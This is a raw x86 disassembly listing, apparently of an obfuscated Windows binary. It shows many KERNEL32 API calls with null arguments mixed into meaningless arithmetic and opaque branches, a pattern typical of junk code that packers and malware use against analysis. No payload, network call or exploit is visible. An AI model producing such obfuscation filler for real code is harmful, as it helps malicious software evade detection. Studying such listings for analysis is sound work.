sub edi, eax
and esi, edi
movzx eax, word [ebp - 0x70]
push eax
movzx ecx, byte [ebp - 0x81]
push ecx
mov edx, dword [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
push edx
movzx eax, word [ebp - 0x144]
push eax
call fcn.004180b0
or esi, eax
movzx ecx, word [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x81]
push edx
movzx eax, byte [ebp - 0x144]
push eax
call fcn.004049b0
movzx ecx, ax
and ecx, dword [ebp - 0x10c]
or esi, ecx
mov dword [ebp - 0x144], esi
mov edx, dword [ebp - 0x10c]
mov eax, dword [ebp - 0x10c]
lea esi, [eax + edx + 0x33b1a]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov ecx, dword [ebp - 0x10c]
sub ecx, eax
sub ecx, 0x66b99
and esi, ecx
movzx edi, byte [ebp - 0x81]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea edx, [edi + eax + 0x14135]
or esi, edx
mov word [ebp - 0xac], si
movzx eax, byte [ebp - 0x81]
cdq
mov ebx, eax
mov esi, edx
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomA]
movzx eax, ax
cdq
mov edi, eax
mov eax, edx
add edi, dword [ebp - 0x70]
adc eax, dword [ebp - 0x6c]
movzx ecx, byte [ebp - 0x81]
mov dword [ebp - 0x1bc], eax
mov eax, ecx
cdq
add edi, eax
mov eax, dword [ebp - 0x1bc]
adc eax, edx
sub edi, 0x39f4a
sbb eax, 0
mov edx, dword [ebp - 0x10c]
xor ecx, ecx
sub edi, edx
sbb eax, ecx
push 0
mov dword [ebp - 0x1c0], eax
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
movzx edx, word [ebp - 0xac]
lea eax, [eax + edx - 0x3e393]
movzx ecx, word [ebp - 0xac]
sub eax, ecx
add eax, 0x45879
xor edx, edx
and edi, eax
mov eax, dword [ebp - 0x1c0]
and eax, edx
or ebx, edi
or esi, eax
mov byte [ebp - 0x81], bl
mov eax, dword [ebp - 0x10c]
sub eax, dword [ebp - 0x10c]
mov ecx, 0x33a30
sub ecx, dword [ebp - 0x10c]
and eax, ecx
mov word [ebp - 0xac], ax
mov edx, dword [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0xac]
push eax
movzx ecx, byte [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x144]
push eax
call fcn.00405f00
movzx ecx, al
mov edx, dword [ebp - 0x10c]
lea eax, [edx + ecx - 0x5733c]
mov esi, eax
xor edi, edi
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
mov ecx, eax
xor ebx, ebx
sub ecx, dword [ebp - 0x70]
sbb ebx, dword [ebp - 0x6c]
movzx eax, word [ebp - 0xac]
cdq
sub ecx, eax
sbb ebx, edx
and esi, ecx
and edi, ebx
and esi, 0x7a055
and edi, 0
mov edx, dword [ebp - 0x10c]
xor eax, eax
or esi, edx
or edi, eax
or esi, dword [ebp - 0x70]
or edi, dword [ebp - 0x6c]
call fcn.00415bd0
mov ecx, 0x85f64
sub ecx, eax
xor edx, edx
or esi, ecx
or edi, edx
mov dword [ebp - 0x144], esi
push 0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov esi, eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
add esi, dword [ebp - 0x10c]
lea eax, [eax + esi - 0xebdb4]
movzx ecx, word [ebp - 0xac]
sub eax, ecx
mov esi, eax
xor edi, edi
mov edx, dword [ebp - 0x10c]
add edx, 0x494a4
mov ebx, edx
xor eax, eax
movzx ecx, byte [ebp - 0x70]
push ecx
mov edx, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push edx
mov edx, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push edx
movzx edx, word [ebp - 0xac]
push edx
movzx ecx, word [ebp - 0x144]
push ecx
mov dword [ebp - 0x1c4], eax
call fcn.004052d0
sub ebx, eax
mov eax, dword [ebp - 0x1c4]
sbb eax, edx
mov ecx, dword [ebp - 0x70]
sub ecx, 0x7bfd2
mov edx, dword [ebp - 0x6c]
sbb edx, 0
mov dword [ebp - 0x1c8], eax
mov eax, ebx
mov ebx, dword [ebp - 0x1c8]
mov edx, ebx
call fcn.0043dfd0
mov ebx, eax
mov eax, edx
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
movzx ecx, byte [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
movzx ecx, byte [ebp - 0x144]
push ecx
mov dword [ebp - 0x1cc], eax
call fcn.00405f00
movzx edx, al
sub edx, dword [ebp - 0x10c]
xor eax, eax
and ebx, edx
mov ecx, dword [ebp - 0x1cc]
and ecx, eax
or esi, ebx
or edi, ecx
mov word [ebp - 0xac], si
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DnsHostnameToComputerNameW]
mov esi, eax
add esi, dword [ebp - 0x10c]
or esi, 0x6d934
push 0
call dword [sym.imp.KERNEL32.dll_GetPriorityClass]
and eax, 0x783b2
or esi, eax
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0xac]
push edx
movzx eax, byte [ebp - 0x144]
push eax
movzx ecx, byte [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
call fcn.00405f00
movzx eax, al
sub eax, 0x1ab49
movzx ecx, word [ebp - 0xac]
sub eax, ecx
and eax, 0x13437
or esi, eax
mov edx, dword [ebp - 0x10c]
sub edx, 0x3176c
and edx, 0x2a5f0
and edx, 0x4f40d
or esi, edx
mov dword [ebp - 0x144], esi
push 0
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthW]
lea eax, [esi + eax + 0x34b58]
sub eax, dword [ebp - 0x10c]
mov dword [ebp - 0x144], eax
movzx ecx, word [ebp - 0x144]
push ecx
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
movzx edx, word [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0xac]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
call fcn.00405340
mov edx, dword [ebp - 0x10c]
lea eax, [eax + edx + 0x4fd01]
mov ecx, dword [ebp - 0x10c]
sub ecx, 0x3da4c
sub ecx, dword [ebp - 0x10c]
and eax, ecx
mov dword [ebp - 0x144], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerW]
mov esi, 0x1d7ba
sub esi, eax
or esi, 0x3a9b1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
or esi, eax
mov dword [ebp - 0x144], esi
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
mov edx, 0x5d199
sub edx, eax
sub edx, 0x4c4c9
mov eax, dword [ebp - 0x10c]
add eax, dword [ebp - 0x10c]
or edx, eax
mov dword [ebp - 0x144], edx
cmp dword [ebp - 0x10c], 0
jne 0x41c7d7
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
movzx eax, byte [ebp - 0xac]
push eax
movzx ecx, byte [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0x144]
push edx
movzx eax, word [ebp - 0xac]
push eax
movzx ecx, byte [ebp - 0x81]
push ecx
mov edx, dword [ebp - 0x70]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
call fcn.00407e60
movzx esi, ax
sub esi, 0x23def
movzx edi, word [ebp - 0xac]
movzx edx, word [ebp - 0x70]
push edx
movzx eax, byte [ebp - 0x70]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0x144]
push edx
movzx eax, word [ebp - 0xac]
push eax
movzx eax, byte [ebp - 0x81]
cdq
push edx
push eax
movzx ecx, byte [ebp - 0xac]
push ecx
movzx edx, word [ebp - 0x144]
push edx
call fcn.00415cf0
sub eax, dword [ebp - 0x10c]
sub eax, 0x764b
and edi, eax
or esi, edi
mov dword [ebp - 0x144], esi
jmp 0x41c82f
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DosDateTimeToFileTime]
mov esi, eax
xor edi, edi
movzx eax, word [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x70]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
call fcn.00404550
movzx eax, al
mov ecx, dword [ebp - 0x10c]
sub ecx, eax
xor edx, edx
add ecx, dword [ebp - 0x70]
adc edx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x10c]
xor ebx, ebx
add ecx, eax
adc edx, ebx
and esi, ecx
and edi, edx
or esi, 0x15f97
mov dword [ebp - 0x144], esi
movzx eax, byte [ebp - 0x81]
movzx ecx, word [ebp - 0xac]
sub eax, ecx
cdq
mov esi, eax
mov edi, edx
movzx edx, byte [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0xac]
push ecx
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
movzx edx, word [ebp - 0x144]
push edx
call fcn.00415020
mov ebx, eax
mov eax, edx
movzx ecx, word [ebp - 0xac]
mov dword [ebp - 0x1d0], eax
mov eax, ecx
cdq
and ebx, eax
mov eax, dword [ebp - 0x1d0]
and eax, edx
movzx edx, word [ebp - 0x144]
push edx
movzx ecx, byte [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
mov dword [ebp - 0x1d4], eax
call fcn.004049b0
movzx eax, ax
add eax, 0x59823
cdq
and ebx, eax
mov eax, dword [ebp - 0x1d4]
and eax, edx
or esi, ebx
or edi, eax
mov dword [ebp - 0x144], esi
movzx eax, byte [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
movzx eax, word [ebp - 0x70]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
call fcn.004052d0
mov dword [ebp - 0x144], eax
movzx edx, word [ebp - 0x70]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx edx, word [ebp - 0x70]
push edx
movzx eax, byte [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0xac]
push ecx
movzx edx, byte [ebp - 0x81]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
call fcn.00405340
cmp eax, 0x181e7
jne 0x41c961
cmp dword [ebp - 0x10c], 0x66ac6
jne 0x41c961
movzx edx, byte [ebp - 0x81]
cmp edx, 0x119bf
je 0x41c976
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
cmp eax, 0x30461
jne 0x41c988
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
mov dword [ebp - 0x144], eax
jmp 0x41c9ba
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp - 0x10c]
lea edx, [ecx + eax + 0x62fe0]
mov eax, dword [ebp - 0x10c]
add eax, 0x5ac0d
or edx, eax
xor ecx, ecx
mov dword [ebp - 0x70], edx
mov dword [ebp - 0x6c], ecx
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
push eax
movzx ecx, byte [ebp - 0x81]
push ecx
call fcn.004050c0
movzx esi, ax
movzx edx, word [ebp - 0x144]
push edx
movzx eax, word [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x6c]
push ecx
mov edx, dword [ebp - 0x70]
push edx
mov eax, dword [ebp - 0x144]
push eax
movzx ecx, byte [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
call fcn.004184e0
add esi, dword [ebp - 0x10c]
lea edx, [eax + esi + 0xab489]
sub edx, dword [ebp - 0x10c]
mov eax, dword [ebp - 0x10c]
sub eax, 0x5d5ae
and eax, 0x58db2
xor edx, eax
xor ecx, ecx
mov dword [ebp - 0x70], edx
mov dword [ebp - 0x6c], ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
cmp eax, 0x66fce
jne 0x41caa6
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateTapePartition]
xor edx, edx
mov dword [ebp - 0x1dc], eax
mov dword [ebp - 0x1d8], edx
mov eax, dword [ebp - 0x6c]
cmp eax, dword [ebp - 0x1d8]
ja 0x41cac4
jb 0x41ca9a
mov ecx, dword [ebp - 0x70]
cmp ecx, dword [ebp - 0x1dc]
jae 0x41cac4
cmp dword [ebp - 0x10c], 0x2864e
jne 0x41cac4
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenThread]
add eax, 0xa5768
and eax, 0x3c58e
mov byte [ebp - 0x81], al
jmp 0x41caeb
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
add eax, 0x947f4
or eax, dword [ebp - 0x10c]
mov byte [ebp - 0x81], al
movzx edx, byte [ebp - 0x81]
movzx eax, byte [ebp - 0x81]
add edx, eax
or edx, 0x20009
mov byte [ebp - 0x81], dl
mov ecx, dword [ebp - 0x10c]
and ecx, 0x3ee80
or ecx, 0xfffda384
mov dword [ebp - 0x144], ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
jae 0x41cb37
xor edx, edx
je 0x41cbd3
mov eax, dword [ebp - 0x10c]
sub eax, 0x6a6ee
mov esi, eax
xor edi, edi
movzx ecx, word [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx edx, byte [ebp - 0x144]
push edx
call fcn.00405d30
add esi, eax
adc edi, edx
sub esi, 0x7b114
sbb edi, 0
sub esi, 0x4000c
sbb edi, 0
movzx ax, byte [ebp - 0x81]
movzx ecx, ax
push ecx
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x144]
push eax
call fcn.004049b0
movzx eax, ax
cdq
add esi, eax
adc edi, edx
movzx eax, word [ebp - 0xac]
cdq
sub esi, eax
sbb edi, edx
or esi, 0x7c5ac
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], edi
jmp 0x41cc59
movzx ecx, word [ebp - 0xac]
mov esi, dword [ebp - 0x10c]
sub esi, ecx
mov edi, 0x363c5
sub edi, dword [ebp - 0x10c]
mov edx, dword [ebp - 0x10c]
add edx, 0x2d7a1
and edi, edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
call fcn.00415540
mov ebx, eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
sub ebx, eax
add ebx, 0x1411a
and edi, ebx
or esi, edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
mov edi, eax
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
sub edi, eax
or esi, edi
mov word [ebp - 0xac], si
mov ecx, dword [ebp - 0x10c]
xor edx, edx
mov dword [ebp - 0x1e4], ecx
mov dword [ebp - 0x1e0], edx
mov eax, dword [ebp - 0x70]
cmp eax, dword [ebp - 0x1e4]
jne 0x41cc8f
mov ecx, dword [ebp - 0x6c]
cmp ecx, dword [ebp - 0x1e0]
jne 0x41cc8f
mov dword [ebp - 0x144], 0xc815
jmp 0x41cd0c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov esi, eax
add esi, dword [ebp - 0x10c]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
mov edx, 0x692e6
sub edx, eax
sub edx, 0x2ea82
and esi, edx
mov edi, dword [ebp - 0x10c]
add edi, dword [ebp - 0x10c]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenProcess]
sub edi, eax
and esi, edi
mov eax, dword [ebp - 0x70]
push eax
call fcn.00408380
mov edi, eax
add edi, dword [ebp - 0x10c]
movzx ecx, word [ebp - 0xac]
add edi, ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
add edi, dword [ebp - 0x10c]
add eax, edi
or esi, eax
mov dword [ebp - 0x144], esi
mov edx, dword [ebp - 0x10c]
sub edx, 0x2fe59
xor eax, eax
mov ecx, dword [ebp - 0x70]
add ecx, 0x404eb
mov esi, dword [ebp - 0x6c]
adc esi, 0
or edx, ecx
or eax, esi
or edx, 0x8101
mov word [ebp - 0xac], dx
movzx edx, word [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
push eax
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
movzx ecx, byte [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0xac]
push edx
call fcn.00415cf0
mov esi, eax
add esi, 0x67a8c
movzx edi, word [ebp - 0xac]
add edi, 0x1a125
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDevicePowerState]
sub edi, eax
movzx eax, word [ebp - 0xac]
sub edi, eax
sub edi, dword [ebp - 0x10c]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
add edi, dword [ebp - 0x10c]
lea ecx, [eax + edi - 0x492ac]
or esi, ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
movzx edx, word [ebp - 0xac]
add eax, edx
or esi, eax
mov dword [ebp - 0x144], esi
mov esi, dword [ebp - 0x10c]
add esi, 0x53161
push 0
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov ecx, dword [ebp - 0x10c]
lea edx, [eax + ecx + 0xad7f5]
mov eax, dword [ebp - 0x10c]
lea ecx, [edx + eax - 0x5855f]
and esi, ecx
mov dword [ebp - 0x144], esi
xor edx, edx
jne 0x41ce5a
call fcn.004187f0
movzx esi, al
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
cmp esi, eax
jb 0x41ce5a
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
cmp eax, 0x42808
jne 0x41ce73
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
cmp eax, 0x173f5
jne 0x41ce73
mov eax, dword [ebp - 0x144]
push eax
call fcn.00408380
or eax, 0x31f2d
mov dword [ebp - 0x144], eax
jmp 0x41cece
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
mov eax, dword [ebp - 0x144]
push eax
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
movzx ecx, word [ebp - 0x144]
push ecx
movzx eax, byte [ebp - 0x81]
cdq
push edx
push eax
call fcn.00407440
movzx edx, ax
add edx, dword [ebp - 0x10c]
mov eax, dword [ebp - 0x10c]
lea esi, [eax + edx + 0xdfdc]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
and esi, eax
mov word [ebp - 0xac], si
movzx ecx, word [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
push edx
movzx eax, word [ebp - 0xac]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
call fcn.004180b0
mov esi, 0x1d331
sub esi, eax
add esi, dword [ebp - 0x10c]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
add esi, dword [ebp - 0x10c]
lea esi, [eax + esi - 0xe012f]
movzx edx, word [ebp - 0xac]
sub esi, edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
sub esi, eax
or esi, 0x13e5f
movzx eax, byte [ebp - 0x81]
or esi, eax
mov dword [ebp - 0x144], esi
movzx ecx, word [ebp - 0xac]
cmp ecx, 0x3b4f7
jne 0x41cf76
movzx edx, word [ebp - 0xac]
cmp edx, 0x3b29
je 0x41cf90
movzx eax, byte [ebp - 0x81]
cmp eax, 0x47606
jne 0x41cff9
cmp dword [ebp - 0x10c], 0x78a2e
jne 0x41cff9
mov esi, dword [ebp - 0x10c]
and esi, 0x12ac4
and esi, dword [ebp - 0x10c]
movzx ecx, word [ebp - 0xac]
mov edi, 0x72da0
sub edi, ecx
movzx edx, word [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x70]
push eax
movzx ecx, word [ebp - 0xac]
push ecx
mov edx, dword [ebp - 0x144]
push edx
movzx eax, word [ebp - 0xac]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0x144]
push edx
call fcn.004180b0
and edi, eax
or esi, edi
or esi, 0x7e2ed
mov dword [ebp - 0x144], esi
jmp 0x41d064
mov esi, dword [ebp - 0x10c]
xor eax, eax
add esi, dword [ebp - 0x70]
mov edi, dword [ebp - 0x6c]
adc edi, eax
movzx eax, word [ebp - 0xac]
cdq
and esi, eax
and edi, edx
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
call fcn.00415540
add eax, dword [ebp - 0x10c]
mov edx, dword [ebp - 0x10c]
lea eax, [eax + edx - 0x27438]
xor ecx, ecx
and esi, eax
and edi, ecx
mov edx, 0x325ba
sub edx, dword [ebp - 0x10c]
sub edx, 0x18678
xor eax, eax
and esi, edx
and edi, eax
mov dword [ebp - 0x144], esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DeleteTimerQueueEx]
mov esi, eax
xor edi, edi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerW]
mov ebx, eax
mov ecx, dword [ebp - 0x70]
push ecx
movzx edx, word [ebp - 0x144]
push edx
call fcn.00415920
add ebx, eax
xor eax, eax
mov ecx, dword [ebp - 0x70]
add ecx, 0xe4d99
mov edx, dword [ebp - 0x6c]
adc edx, 0
and ebx, ecx
and eax, edx
or esi, ebx
or edi, eax
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
call fcn.00415540
mov edx, 0x1e680
sub edx, eax
and edx, 0x7a848
xor eax, eax
or esi, edx
or edi, eax
mov dword [ebp - 0x144], esi
mov esi, 0x7e38
sub esi, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
mov eax, dword [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0xac]
push ecx
call fcn.0043dd10
movzx edx, ax
sub esi, edx
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
add esi, eax
xor eax, eax
and esi, dword [ebp - 0x70]
and eax, dword [ebp - 0x6c]
and esi, 0x3c3f7
and eax, 0
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
mov esi, eax
push 0
call dword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
cmp esi, eax
je 0x41d1cb
xor ecx, ecx
jne 0x41d1cb
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
cmp eax, 0x237e0
je 0x41d2bf
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessAffinityMask]
mov esi, eax
mov edx, dword [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
movzx ecx, byte [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0xac]
push edx
movzx eax, word [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
movzx eax, word [ebp - 0xac]
push eax
call fcn.00405fd0
movzx ecx, ax
cmp esi, ecx
jne 0x41d2bf
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
call fcn.00415540
mov esi, eax
sub esi, dword [ebp - 0x10c]
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
sub esi, eax
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
add esi, eax
sub esi, dword [ebp - 0x10c]
movzx eax, byte [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
call fcn.00405ae0
movzx ecx, ax
add esi, ecx
sub esi, dword [ebp - 0x10c]
or esi, 0x1f9e5
xor edi, edi
mov ebx, dword [ebp - 0x10c]
xor eax, eax
movzx edx, word [ebp - 0xac]
mov dword [ebp - 0x1e8], eax
mov eax, edx
cdq
push edx
push eax
movzx ax, byte [ebp - 0x81]
movzx ecx, ax
push ecx
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, word [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
call fcn.00406400
add ebx, eax
mov eax, dword [ebp - 0x1e8]
adc eax, edx
mov edx, dword [ebp - 0x10c]
xor ecx, ecx
add ebx, edx
adc eax, ecx
mov edx, dword [ebp - 0x10c]
xor ecx, ecx
add ebx, edx
adc eax, ecx
mov edx, dword [ebp - 0x10c]
xor ecx, ecx
and ebx, edx
and eax, ecx
or esi, ebx
or edi, eax
mov word [ebp - 0xac], si
jmp 0x41d2df
movzx esi, word [ebp - 0xac]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructW]
add esi, eax
mov word [ebp - 0xac], si
xor edx, edx
jne 0x41d359
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov esi, eax
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
mov edx, dword [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x144]
push eax
movzx ecx, byte [ebp - 0x81]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
call fcn.004050c0
movzx eax, ax
cmp esi, eax
ja 0x41d3fa
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
call fcn.00415540
cmp dword [ebp - 0x10c], eax
jne 0x41d3fa
mov edx, 0x7a1ec
sub edx, dword [ebp - 0x10c]
sub edx, dword [ebp - 0x10c]
mov esi, edx
xor edi, edi
movzx eax, word [ebp - 0xac]
add eax, 0x5c083
and eax, 0x7f4ee
and eax, 0xfffbf092
and eax, dword [ebp - 0x10c]
mov ebx, eax
xor eax, eax
movzx ecx, byte [ebp - 0x81]
add ecx, dword [ebp - 0x10c]
xor edx, edx
mov dword [ebp - 0x1ec], edi
movzx edi, word [ebp - 0x144]
push edi
movzx edi, word [ebp - 0xac]
mov dword [ebp - 0x1f0], eax
mov eax, edi
mov dword [ebp - 0x1f4], edx
cdq
push edx
push eax
mov dword [ebp - 0x1f8], ecx
call fcn.00418dc0
mov edi, dword [ebp - 0x1f8]
sub edi, eax
mov eax, dword [ebp - 0x1f4]
sbb eax, edx
and ebx, edi
mov edi, dword [ebp - 0x1f0]
and edi, eax
or esi, ebx
mov ebx, dword [ebp - 0x1ec]
or ebx, edi
mov dword [ebp - 0x144], esi
jmp 0x41d41e
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov esi, eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
and esi, eax
mov dword [ebp - 0x144], esi
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
push eax
movzx ecx, byte [ebp - 0x144]
push ecx
call fcn.004050c0
movzx edx, ax
cmp edx, dword [ebp - 0x10c]
jne 0x41d48f
mov esi, dword [ebp - 0x10c]
or esi, dword [ebp - 0x10c]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
sub eax, 0xa5f7
movzx ecx, word [ebp - 0xac]
sub eax, ecx
add eax, 0x6a6ba
and eax, 0x62e66
or esi, eax
mov word [ebp - 0xac], si
jmp 0x41d4bb
mov esi, dword [ebp - 0x10c]
add esi, 0x2cb88
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesW]
sub esi, eax
sub esi, dword [ebp - 0x10c]
and esi, dword [ebp - 0x10c]
mov dword [ebp - 0x144], esi
movzx edx, byte [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0xac]
push ecx
movzx edx, byte [ebp - 0x81]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx dx, byte [ebp - 0x81]
movzx eax, dx
push eax
movzx ecx, word [ebp - 0x144]
push ecx
